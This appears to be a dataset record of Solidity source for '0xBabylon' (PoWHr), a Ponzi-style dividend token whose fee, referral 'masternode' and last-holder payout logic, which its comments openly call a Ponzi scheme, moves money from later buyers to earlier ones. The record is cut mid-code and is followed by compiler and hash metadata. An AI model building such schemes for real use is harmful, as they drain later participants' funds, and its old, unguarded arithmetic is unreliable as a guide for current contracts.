cB) internal { // Any transaction of less than 1 szabo is likely to be worth less than the gas used to send it. if (msg.value < 0.000001 ether || msg.value > 1000000 ether) revert(); //Fee to pay existing holders, and the referral commission uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(msg.value,false,true); trickle = fee/trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } uint256 numEther = msg.value - (fee+trickle);// The amount of Ether used to purchase new tokens for the caller. uint256 numTokens = 0; if(numEther > 0){ numTokens = getTokensForEther(numEther);// The number of tokens which can be purchased for numEther. buyCalcAndPayout( forWho, fee, numTokens, numEther, reserve() ); addPigment(forWho, numTokens,cR,cG,cB); } if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff or if that masternode is weak, then reset it if(reff[forWho] == 0x0000000000000000000000000000000000000000 || (holdings[reff[forWho]] < stakingRequirement) ) reff[forWho] = msg.sender; emit onBoughtFor(msg.sender, forWho, numEther, numTokens, reff[forWho] ); }else{ emit onTokenPurchase(forWho, numEther ,numTokens , reff[forWho] ); } trickleSum += trickle;//add to trickle's Sum after reserve calculations trickleUp(forWho); } function buyCalcAndPayout(address forWho,uint256 fee,uint256 numTokens,uint256 numEther,uint256 res)internal{ // The buyer fee, scaled by the scaleFactor variable. uint256 buyerFee = fee * scaleFactor; if (totalBondSupply > 0){// because ... // Compute the bonus co-efficient for all existing holders and the buyer. // The buyer receives part of the distribution for each token bought in the // same way they would have if they bought each token individually. uint256 bonusCoEff = (scaleFactor - (res + numEther) * numTokens * scaleFactor / ( totalBondSupply + numTokens) / numEther) *(uint)(crr_d) / (uint)(crr_d-crr_n); // The total reward to be distributed amongst the masses is the fee (in Ether) // multiplied by the bonus co-efficient. uint256 holderReward = fee * bonusCoEff; buyerFee -= holderReward; // The Ether value per token is increased proportionally. earningsPerBond += holderReward / totalBondSupply; } //resolve reward tracking stuff avgFactor_ethSpent[forWho] += numEther; // Add the numTokens which were just created to the total supply. We're a crypto central bank! totalBondSupply += numTokens; // Assign the tokens to the balance of the buyer. holdings[forWho] += numTokens; // Update the payout array so that the buyer cannot claim dividends on previous purchases. // Also include the fee paid for entering the scheme. // First we compute how much was just paid out to the buyer... int256 payoutDiff = (int256) ((earningsPerBond * numTokens) - buyerFee); // Then we update the payouts array for the buyer with this amount... payouts[forWho] += payoutDiff; // And then we finally add it to the variable tracking the total amount spent to maintain invariance. totalPayouts += payoutDiff; } // Sell function that takes tokens and converts them into Ether. Also comes with a 10% fee // to discouraging dumping, and means that if someone near the top sells, the fee distributed // will be *significant*. function TOKEN_scaleDown(uint256 value,uint256 reduce) internal view returns(uint256 x){ uint256 holdingsOfSender = holdings[msg.sender]; return value * ( holdingsOfSender - reduce) / holdingsOfSender; } function sell(uint256 amount) internal { uint256 numEthersBeforeFee = getEtherForTokens(amount); // x% of the resulting Ether is used to pay remaining holders. uint256 fee = 0; uint256 trickle = 0; if(totalBondSupply != holdings[msg.sender]){ fee = fluxFeed(numEthersBeforeFee, false,false); trickle = fee/ trickTax; fee -= trickle; tricklingPass[msg.sender] +=trickle; } // Net Ether for the seller after the fee has been subtracted. uint256 numEthers = numEthersBeforeFee - (fee+trickle); //How much you bought it for divided by how much you're getting back. //This means that if you get dumped on, you can get more resolve tokens if you sell out. uint256 resolved = mint( calcResolve(msg.sender,amount,numEthersBeforeFee), msg.sender ); // *Remove* the numTokens which were just sold from the total supply. avgFactor_ethSpent[msg.sender] = TOKEN_scaleDown(avgFactor_ethSpent[msg.sender] , amount); color_R[msg.sender] = TOKEN_scaleDown(color_R[msg.sender] , amount); color_G[msg.sender] = TOKEN_scaleDown(color_G[msg.sender] , amount); color_B[msg.sender] = TOKEN_scaleDown(color_B[msg.sender] , amount); totalBondSupply -= amount; // Remove the tokens from the balance of the buyer. holdings[msg.sender] -= amount; int256 payoutDiff = (int256) (earningsPerBond * amount);//we don't add in numETH because it is immedietly paid out. // We reduce the amount paid out to the seller (this effectively resets their payouts value to zero, // since they're selling all of their tokens). This makes sure the seller isn't disadvantaged if // they decide to buy back in. payouts[msg.sender] -= payoutDiff; // Decrease the total amount that's been paid out to maintain invariance. totalPayouts -= payoutDiff; // Check that we have tokens in existence (this is a bit of an irrelevant check since we're // selling tokens, but it guards against division by zero). if (totalBondSupply > 0) { // Scale the Ether taken as the selling fee by the scaleFactor variable. uint256 etherFee = fee * scaleFactor; // Fee is distributed to all remaining token holders. // rewardPerShare is the amount gained per token thanks to this sell. uint256 rewardPerShare = etherFee / totalBondSupply; // The Ether value per token is increased proportionally. earningsPerBond += rewardPerShare; } fullCycleSellBonds(numEthers); trickleSum += trickle; trickleUp(msg.sender); emit onTokenSell(msg.sender,holdings[msg.sender]+amount,amount,numEthers,resolved,reff[msg.sender]); } // Converts the Ether accrued as dividends back into Staking tokens without having to // withdraw it first. Saves on gas and potential price spike loss. function processReinvest(address forWho,uint256 cR,uint256 cG,uint256 cB) internal{ // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. // Since this is essentially a shortcut to withdrawing and reinvesting, this step still holds. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Assign balance to a new variable. uint256 pocketETH = pocket[msg.sender]; uint value_ = (uint) (balance + pocketETH); pocket[msg.sender] = 0; // If your dividends are worth less than 1 szabo, or more than a million Ether // (in which case, why are you even here), abort. if (value_ < 0.000001 ether || value_ > 1000000 ether) revert(); uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(value_, true,false );// reinvestment fees are lower than regular ones. trickle = fee/ trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } // A temporary reserve variable used for calculating the reward the holder gets for buying tokens. // (Yes, the buyer receives a part of the distribution as well!) uint256 res = reserve() - balance; // The amount of Ether used to purchase new tokens for the caller. uint256 numEther = value_ - (fee+trickle); // The number of tokens which can be purchased for numEther. uint256 numTokens = calculateDividendTokens(numEther, balance); buyCalcAndPayout( forWho, fee, numTokens, numEther, res ); addPigment(forWho, numTokens,cR,cG,cB); if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff, then reset it address reffOfWho = reff[forWho]; if(reffOfWho == 0x0000000000000000000000000000000000000000 || (holdings[reffOfWho] < stakingRequirement) ) reff[forWho] = msg.sender; emit onReinvestFor(msg.sender,forWho,numEther,numTokens,reff[forWho]); }else{ emit onReinvestment(forWho,numEther,numTokens,reff[forWho]); } trickleUp(forWho); trickleSum += trickle - pocketETH; } function addPigment(address forWho, uint256 tokens,uint256 r,uint256 g,uint256 b) internal{ color_R[forWho] += tokens * r / 255; color_G[forWho] += tokens * g / 255; color_B[forWho] += tokens * b / 255; emit onColor(forWho,r,g,b,color_R[forWho] ,color_G[forWho] ,color_B[forWho] ); } // Dynamic value of Ether in reserve, according to the CRR requirement. function reserve() internal constant returns (uint256 amount){ return contractBalance()-((uint256) ((int256) (earningsPerBond * totalBondSupply) - totalPayouts ) / scaleFactor); } // Calculates the number of tokens that can be bought for a given amount of Ether, according to the // dynamic reserve and totalSupply values (derived from the buy and sell prices). function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply ; } // Semantically similar to getTokensForEther, but subtracts the callers balance from the amount of Ether returned for conversion. function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply; } // Converts a number tokens into an Ether value. function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) { // How much reserve Ether do we have left in the contract? uint256 reserveAmount = reserve(); // If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault. if (tokens == totalBondSupply ) return reserveAmount; // If there would be excess Ether left after the transaction this is called within, return the Ether // corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found // at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator // and denominator altered to 1 and 2 respectively. return reserveAmount - fixedExp((fixedLog(totalBondSupply - tokens) - price_coeff) * crr_d/crr_n); } function () payable public { if (msg.value > 0) { fund(lastGateway,msg.sender); } else { withdraw(msg.sender); } } address public resolver = this; uint256 public totalSupply; uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; string public name = "0xBabylon"; uint8 public decimals = 18; string public symbol = "PoWHr"; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Resolved(address indexed _owner, uint256 amount); function mint(uint256 amount,address _account) internal returns (uint minted){ totalSupply += amount; balances[_account] += amount; emit Resolved(_account,amount); return amount; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function calcResolve(address _owner,uint256 amount,uint256 _eth) public constant returns (uint256 calculatedResolveTokens) { return amount*amount*avgFactor_ethSpent[_owner]/holdings[_owner]/_eth/1000000; } function transfer(address _to, uint256 _value) public returns (bool success) { require( balanceOf(msg.sender) >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){ uint256 allowance = allowed[_from][msg.sender]; require( balanceOf(_from) >= _value && allowance >= _value ); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function resolveSupply() public view returns (uint256 balance) { return totalSupply; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } // You don't care about these, but if you really do they're hex values for // co-efficients used to simulate approximations of the log and exp functions. int256 constant one = 0x10000000000000000; uint256 constant sqrt2 = 0x16a09e667f3bcc908; uint256 constant sqrtdot5 = 0x0b504f333f9de6484; int256 constant ln2 = 0x0b17217f7d1cf79ac; int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8; int256 constant c1 = 0x1ffffffffff9dac9b; int256 constant c3 = 0x0aaaaaaac16877908; int256 constant c5 = 0x0666664e5e9fa0c99; int256 constant c7 = 0x049254026a7630acf; int256 constant c9 = 0x038bd75ed37753d68; int256 constant c11 = 0x03284a0c14610924f; // The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11 // approximates the function log(1+x)-log(1-x) // Hence R(s) = log((1+s)/(1-s)) = log(a) function fixedLog(uint256 a) internal pure returns (int256 log) { int32 scale = 0; while (a > sqrt2) { a /= 2; scale++; } while (a <= sqrtdot5) { a *= 2; scale--; } int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one); int256 z = (s*s) / one; return scale * ln2 + (s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one)) /one))/one))/one))/one))/one); } int256 constant c2 = 0x02aaaaaaaaa015db0; int256 constant c4 = -0x000b60b60808399d1; int256 constant c6 = 0x0000455956bccdd06; int256 constant c8 = -0x000001b893ad04b3a; // The polynomial R = 2 + c2*x^2 + c4*x^4 + ... // approximates the function x*(exp(x)+1)/(exp(x)-1) // Hence exp(x) = (R(x)+x)/(R(x)-x) function fixedExp(int256 a) internal pure returns (uint256 exp) { int256 scale = (a + (ln2_64dot5)) / ln2 - 64; a -= scale*ln2; int256 z = (a*a) / one; int256 R = ((int256)(2) * one) + (z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one); exp = (uint256) (((R + a) * one) / (R - a)); if (scale >= 0) exp <<= scale; else exp >>= -scale; return exp; } }
reserve
function reserve() internal constant returns (uint256 amount){ return contractBalance()-((uint256) ((int256) (earningsPerBond * totalBondSupply) - totalPayouts ) / scaleFactor); }
// Dynamic value of Ether in reserve, according to the CRR requirement.
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 21805, 21991 ] }
1,487
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denominator uint256 constant fee_premine = 30;//Fee Premine. So that the first buyer isn't a black hole int constant price_coeff = 0x44fa9cf152cd34a98; // Array between each address and their number of tokens. mapping(address => uint256) public holdings; //cut down by a percentage when you sell out. mapping(address => uint256) public avgFactor_ethSpent; mapping(address => uint256) public color_R; mapping(address => uint256) public color_G; mapping(address => uint256) public color_B; // Array between each address and how much Ether has been paid out to it. // Note that this is scaled by the scaleFactor variable. mapping(address => address) public reff; mapping(address => uint256) public tricklingPass; mapping(address => uint256) public pocket; mapping(address => int256) public payouts; // Variable tracking how many tokens are in existence overall. uint256 public totalBondSupply; // Aggregate sum of all payouts. // Note that this is scaled by the scaleFactor variable. int256 totalPayouts; uint256 public trickleSum; uint256 public stakingRequirement = 1e18; address public lastGateway; uint256 constant trickTax = 3; //divides flux'd fee and for every pass up //flux fee ratio and contract score keepers uint256 public withdrawSum; uint256 public investSum; // Variable tracking how much Ether each token is currently worth. // Note that this is scaled by the scaleFactor variable. uint256 earningsPerBond; event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onBoughtFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onReinvestFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onTokenSell( address indexed customerAddress, uint256 totalTokensAtTheTime,//maybe it'd be cool to see what % people are selling from their total bank uint256 tokensBurned, uint256 ethereumEarned, uint256 resolved, address indexed gateway ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted, address indexed gateway ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event onCashDividends( address indexed ownerAddress, address indexed receiverAddress, uint256 ethereumWithdrawn ); event onColor( address indexed customerAddress, uint256 oldR, uint256 oldG, uint256 oldB, uint256 newR, uint256 newG, uint256 newB ); event onTrickle( address indexed fromWho, address indexed finalReff, uint256 reward, uint256 passUp ); // The following functions are used by the front-end for display purposes. // Returns the number of tokens currently held by _owner. function holdingsOf(address _owner) public constant returns (uint256 balance) { return holdings[_owner]; } // Withdraws all dividends held by the caller sending the transaction, updates // the requisite global variables, and transfers Ether back to the caller. function withdraw(address to) public { if(to == 0x0000000000000000000000000000000000000000 ){ to = msg.sender; } trickleUp(msg.sender); // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); //uint256 pocketBalance = tricklePocket[msg.sender]; //tricklePocket[msg.sender] = 0; // Update the payouts array, incrementing the request address by `balance`. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); uint256 pocketETH = pocket[msg.sender]; pocket[msg.sender] = 0; trickleSum -= pocketETH; balance += pocketETH; // Send the dividends to the address that requested the withdraw. withdrawSum += balance; to.transfer(balance); emit onCashDividends(msg.sender,to,balance); } function fullCycleSellBonds(uint256 balance) internal { // Send the cashed out stake to the address that requested the withdraw. withdrawSum += balance; msg.sender.transfer(balance); emit onWithdraw(msg.sender, balance); } // Sells your tokens for Ether. This Ether is assigned to the callers entry // in the tokenBalance array, and therefore is shown as a dividend. A second // call to withdraw() must be made to invoke the transfer of Ether back to your address. function sellBonds(uint256 _amount) public { uint256 bondBalance = holdings[msg.sender]; if(_amount <= bondBalance && _amount > 0){ sell(_amount); }else{ sell(bondBalance); } } // The slam-the-button escape hatch. Sells the callers tokens for Ether, then immediately // invokes the withdraw() function, sending the resulting Ether to the callers address. function getMeOutOfHere() public { sellBonds( holdings[msg.sender] ); withdraw(msg.sender); } function reffUp(address _reff) internal{ address sender = msg.sender; if (_reff == 0x0000000000000000000000000000000000000000 || _reff == msg.sender){ _reff = reff[sender]; } if( holdings[_reff] < stakingRequirement ){//if req not met if(lastGateway == 0x0000000000000000000000000000000000000000){ lastGateway = sender;//first buyer ever _reff = sender;//first buyer is their own gateway/masternode //initialize fee pre-mine investSum = msg.value * fee_premine; withdrawSum = msg.value * fee_premine; } else _reff = lastGateway;//the lucky last player gets to be the gate way. } reff[sender] = _reff; } function rgbLimit(uint256 _rgb)internal pure returns(uint256){ if(_rgb > 255) return 255; else return _rgb; } //BONUS //when you don't pick a color, the contract will need a default. which will be your current color function edgePigment(uint8 C)internal view returns (uint256 x) { uint256 holding = holdings[msg.sender]; if(holding==0) return 0; else{ if(C==0){ return 255 * color_R[msg.sender]/holding; }else if(C==1){ return 255 * color_G[msg.sender]/holding; }else if(C==2){ return 255 * color_B[msg.sender]/holding; } } } function fund(address reffo, address forWho) payable public { fund_color( reffo, forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } function fund_color( address _reff, address forWho,uint256 cR,uint256 cG,uint256 cB) payable public { // Don't allow for funding if the amount of Ether sent is less than 1 szabo. reffUp(_reff); if (msg.value > 0.000001 ether){ investSum += msg.value; cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); buy( forWho ,cR,cG,cB); lastGateway = msg.sender; } else { revert(); } } function reinvest_color(address forWho,uint256 cR,uint256 cG,uint256 cB) public { cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); processReinvest( forWho, cR,cG,cB); } function reinvest(address forWho) public { processReinvest( forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } // Function that returns the (dynamic) price of a single token. function price(bool buyOrSell) public constant returns (uint) { if(buyOrSell){ return getTokensForEther(1 finney); }else{ uint256 eth = getEtherForTokens(1 finney); uint256 fee = fluxFeed(eth, false, false); return eth - fee; } } function fluxFeed(uint256 _eth, bool slim_reinvest,bool newETH) public constant returns (uint256 amount) { uint256 finalInvestSum; if(newETH) finalInvestSum = investSum-_eth;//bigger buy bonus else finalInvestSum = investSum; uint256 contract_ETH = finalInvestSum - withdrawSum; if(slim_reinvest){//trickleSum can never be 0, trust me return _eth/(contract_ETH/trickleSum) * contract_ETH /investSum; }else{ return _eth * contract_ETH / investSum; } /* Fee 100eth IN & 100eth OUT = 0% tax fee (returning 1) 100eth IN & 50eth OUT = 50% tax fee (returning 2) 100eth IN & 33eth OUT = 66% tax fee (returning 3) 100eth IN & 25eth OUT = 75% tax fee (returning 4) 100eth IN & 10eth OUT = 90% tax fee (returning 10) */ } // Calculate the current dividends associated with the caller address. This is the net result // of multiplying the number of tokens held by their current value in Ether and subtracting the // Ether that has already been paid out. function dividends(address _owner) public constant returns (uint256 amount) { return (uint256) ((int256)( earningsPerBond * holdings[_owner] ) - payouts[_owner] ) / scaleFactor; } // Internal balance function, used to calculate the dynamic reserve value. function contractBalance() internal constant returns (uint256 amount){ // msg.value is the amount of Ether sent by the transaction. return investSum - withdrawSum - msg.value - trickleSum; } function trickleUp(address fromWho) internal{//you can trickle up other people by giving them some. uint256 tricks = tricklingPass[ fromWho ];//this is the amount moving in the trickle flo if(tricks > 0){ tricklingPass[ fromWho ] = 0;//we've already captured the amount so set your tricklingPass flo to 0 uint256 passUp = tricks * (investSum - withdrawSum)/investSum;//to get the amount we're gonna pass up. divide by trickTax uint256 reward = tricks-passUp;//and our remaining reward for ourselves is the amount we just slice off subtracted from the flo address finalReff;//we're not exactly sure who we're gonna pass this up to yet address reffo = reff[ fromWho ];//this is who it should go up to. if everything is legit if( holdings[reffo] >= stakingRequirement){ finalReff = reffo;//if that address is holding enough to stake, it's a legit node to flo up to. }else{ finalReff = lastGateway;//if not, then we use the last buyer } tricklingPass[ finalReff ] += passUp;//so now we add that flo you've passed up to the tricklingPass of the final Reff pocket[ finalReff ] += reward;// Reward emit onTrickle(fromWho, finalReff, reward, passUp); } } function buy(address forWho,uint256 cR,uint256 cG,uint256 cB) internal { // Any transaction of less than 1 szabo is likely to be worth less than the gas used to send it. if (msg.value < 0.000001 ether || msg.value > 1000000 ether) revert(); //Fee to pay existing holders, and the referral commission uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(msg.value,false,true); trickle = fee/trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } uint256 numEther = msg.value - (fee+trickle);// The amount of Ether used to purchase new tokens for the caller. uint256 numTokens = 0; if(numEther > 0){ numTokens = getTokensForEther(numEther);// The number of tokens which can be purchased for numEther. buyCalcAndPayout( forWho, fee, numTokens, numEther, reserve() ); addPigment(forWho, numTokens,cR,cG,cB); } if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff or if that masternode is weak, then reset it if(reff[forWho] == 0x0000000000000000000000000000000000000000 || (holdings[reff[forWho]] < stakingRequirement) ) reff[forWho] = msg.sender; emit onBoughtFor(msg.sender, forWho, numEther, numTokens, reff[forWho] ); }else{ emit onTokenPurchase(forWho, numEther ,numTokens , reff[forWho] ); } trickleSum += trickle;//add to trickle's Sum after reserve calculations trickleUp(forWho); } function buyCalcAndPayout(address forWho,uint256 fee,uint256 numTokens,uint256 numEther,uint256 res)internal{ // The buyer fee, scaled by the scaleFactor variable. uint256 buyerFee = fee * scaleFactor; if (totalBondSupply > 0){// because ... // Compute the bonus co-efficient for all existing holders and the buyer. // The buyer receives part of the distribution for each token bought in the // same way they would have if they bought each token individually. uint256 bonusCoEff = (scaleFactor - (res + numEther) * numTokens * scaleFactor / ( totalBondSupply + numTokens) / numEther) *(uint)(crr_d) / (uint)(crr_d-crr_n); // The total reward to be distributed amongst the masses is the fee (in Ether) // multiplied by the bonus co-efficient. uint256 holderReward = fee * bonusCoEff; buyerFee -= holderReward; // The Ether value per token is increased proportionally. earningsPerBond += holderReward / totalBondSupply; } //resolve reward tracking stuff avgFactor_ethSpent[forWho] += numEther; // Add the numTokens which were just created to the total supply. We're a crypto central bank! totalBondSupply += numTokens; // Assign the tokens to the balance of the buyer. holdings[forWho] += numTokens; // Update the payout array so that the buyer cannot claim dividends on previous purchases. // Also include the fee paid for entering the scheme. // First we compute how much was just paid out to the buyer... int256 payoutDiff = (int256) ((earningsPerBond * numTokens) - buyerFee); // Then we update the payouts array for the buyer with this amount... payouts[forWho] += payoutDiff; // And then we finally add it to the variable tracking the total amount spent to maintain invariance. totalPayouts += payoutDiff; } // Sell function that takes tokens and converts them into Ether. Also comes with a 10% fee // to discouraging dumping, and means that if someone near the top sells, the fee distributed // will be *significant*. function TOKEN_scaleDown(uint256 value,uint256 reduce) internal view returns(uint256 x){ uint256 holdingsOfSender = holdings[msg.sender]; return value * ( holdingsOfSender - reduce) / holdingsOfSender; } function sell(uint256 amount) internal { uint256 numEthersBeforeFee = getEtherForTokens(amount); // x% of the resulting Ether is used to pay remaining holders. uint256 fee = 0; uint256 trickle = 0; if(totalBondSupply != holdings[msg.sender]){ fee = fluxFeed(numEthersBeforeFee, false,false); trickle = fee/ trickTax; fee -= trickle; tricklingPass[msg.sender] +=trickle; } // Net Ether for the seller after the fee has been subtracted. uint256 numEthers = numEthersBeforeFee - (fee+trickle); //How much you bought it for divided by how much you're getting back. //This means that if you get dumped on, you can get more resolve tokens if you sell out. uint256 resolved = mint( calcResolve(msg.sender,amount,numEthersBeforeFee), msg.sender ); // *Remove* the numTokens which were just sold from the total supply. avgFactor_ethSpent[msg.sender] = TOKEN_scaleDown(avgFactor_ethSpent[msg.sender] , amount); color_R[msg.sender] = TOKEN_scaleDown(color_R[msg.sender] , amount); color_G[msg.sender] = TOKEN_scaleDown(color_G[msg.sender] , amount); color_B[msg.sender] = TOKEN_scaleDown(color_B[msg.sender] , amount); totalBondSupply -= amount; // Remove the tokens from the balance of the buyer. holdings[msg.sender] -= amount; int256 payoutDiff = (int256) (earningsPerBond * amount);//we don't add in numETH because it is immedietly paid out. // We reduce the amount paid out to the seller (this effectively resets their payouts value to zero, // since they're selling all of their tokens). This makes sure the seller isn't disadvantaged if // they decide to buy back in. payouts[msg.sender] -= payoutDiff; // Decrease the total amount that's been paid out to maintain invariance. totalPayouts -= payoutDiff; // Check that we have tokens in existence (this is a bit of an irrelevant check since we're // selling tokens, but it guards against division by zero). if (totalBondSupply > 0) { // Scale the Ether taken as the selling fee by the scaleFactor variable. uint256 etherFee = fee * scaleFactor; // Fee is distributed to all remaining token holders. // rewardPerShare is the amount gained per token thanks to this sell. uint256 rewardPerShare = etherFee / totalBondSupply; // The Ether value per token is increased proportionally. earningsPerBond += rewardPerShare; } fullCycleSellBonds(numEthers); trickleSum += trickle; trickleUp(msg.sender); emit onTokenSell(msg.sender,holdings[msg.sender]+amount,amount,numEthers,resolved,reff[msg.sender]); } // Converts the Ether accrued as dividends back into Staking tokens without having to // withdraw it first. Saves on gas and potential price spike loss. function processReinvest(address forWho,uint256 cR,uint256 cG,uint256 cB) internal{ // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. // Since this is essentially a shortcut to withdrawing and reinvesting, this step still holds. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Assign balance to a new variable. uint256 pocketETH = pocket[msg.sender]; uint value_ = (uint) (balance + pocketETH); pocket[msg.sender] = 0; // If your dividends are worth less than 1 szabo, or more than a million Ether // (in which case, why are you even here), abort. if (value_ < 0.000001 ether || value_ > 1000000 ether) revert(); uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(value_, true,false );// reinvestment fees are lower than regular ones. trickle = fee/ trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } // A temporary reserve variable used for calculating the reward the holder gets for buying tokens. // (Yes, the buyer receives a part of the distribution as well!) uint256 res = reserve() - balance; // The amount of Ether used to purchase new tokens for the caller. uint256 numEther = value_ - (fee+trickle); // The number of tokens which can be purchased for numEther. uint256 numTokens = calculateDividendTokens(numEther, balance); buyCalcAndPayout( forWho, fee, numTokens, numEther, res ); addPigment(forWho, numTokens,cR,cG,cB); if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff, then reset it address reffOfWho = reff[forWho]; if(reffOfWho == 0x0000000000000000000000000000000000000000 || (holdings[reffOfWho] < stakingRequirement) ) reff[forWho] = msg.sender; emit onReinvestFor(msg.sender,forWho,numEther,numTokens,reff[forWho]); }else{ emit onReinvestment(forWho,numEther,numTokens,reff[forWho]); } trickleUp(forWho); trickleSum += trickle - pocketETH; } function addPigment(address forWho, uint256 tokens,uint256 r,uint256 g,uint256 b) internal{ color_R[forWho] += tokens * r / 255; color_G[forWho] += tokens * g / 255; color_B[forWho] += tokens * b / 255; emit onColor(forWho,r,g,b,color_R[forWho] ,color_G[forWho] ,color_B[forWho] ); } // Dynamic value of Ether in reserve, according to the CRR requirement. function reserve() internal constant returns (uint256 amount){ return contractBalance()-((uint256) ((int256) (earningsPerBond * totalBondSupply) - totalPayouts ) / scaleFactor); } // Calculates the number of tokens that can be bought for a given amount of Ether, according to the // dynamic reserve and totalSupply values (derived from the buy and sell prices). function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply ; } // Semantically similar to getTokensForEther, but subtracts the callers balance from the amount of Ether returned for conversion. function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply; } // Converts a number tokens into an Ether value. function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) { // How much reserve Ether do we have left in the contract? uint256 reserveAmount = reserve(); // If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault. if (tokens == totalBondSupply ) return reserveAmount; // If there would be excess Ether left after the transaction this is called within, return the Ether // corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found // at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator // and denominator altered to 1 and 2 respectively. return reserveAmount - fixedExp((fixedLog(totalBondSupply - tokens) - price_coeff) * crr_d/crr_n); } function () payable public { if (msg.value > 0) { fund(lastGateway,msg.sender); } else { withdraw(msg.sender); } } address public resolver = this; uint256 public totalSupply; uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; string public name = "0xBabylon"; uint8 public decimals = 18; string public symbol = "PoWHr"; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Resolved(address indexed _owner, uint256 amount); function mint(uint256 amount,address _account) internal returns (uint minted){ totalSupply += amount; balances[_account] += amount; emit Resolved(_account,amount); return amount; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function calcResolve(address _owner,uint256 amount,uint256 _eth) public constant returns (uint256 calculatedResolveTokens) { return amount*amount*avgFactor_ethSpent[_owner]/holdings[_owner]/_eth/1000000; } function transfer(address _to, uint256 _value) public returns (bool success) { require( balanceOf(msg.sender) >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){ uint256 allowance = allowed[_from][msg.sender]; require( balanceOf(_from) >= _value && allowance >= _value ); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) 